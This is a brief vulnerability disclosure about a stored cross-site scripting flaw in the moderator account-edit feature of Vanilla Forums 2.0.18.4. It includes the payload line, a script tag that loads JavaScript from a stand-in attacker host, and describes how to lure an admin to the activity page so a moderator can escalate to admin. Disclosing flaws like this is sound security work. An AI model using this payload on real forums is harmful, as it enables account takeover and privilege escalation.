# Title: Vanilla Moderator Edit Account XSS Vulnerability # Date: 18/5/12 # Author: Henry Hoggard # Author URL: henryhoggard.co.uk # Author Twitter: @henryhoggard # Software: Vanilla Version 2.0.18.4 # http://http://vanillaforums.org ############################################################# This is a very low risk vulnerability because it requires a certain level of privileges. If a moderator is given the Edit User privilege then they can edit an accounts username and replace it with a malicious XSS string. XSS: <SCRIPT SRC=http://evil.tld/xss.js></SCRIPT> Then send the target user to http://vanillaforum.tld/index.php?p=/activity This can be used to escalate privileges from moderator to admin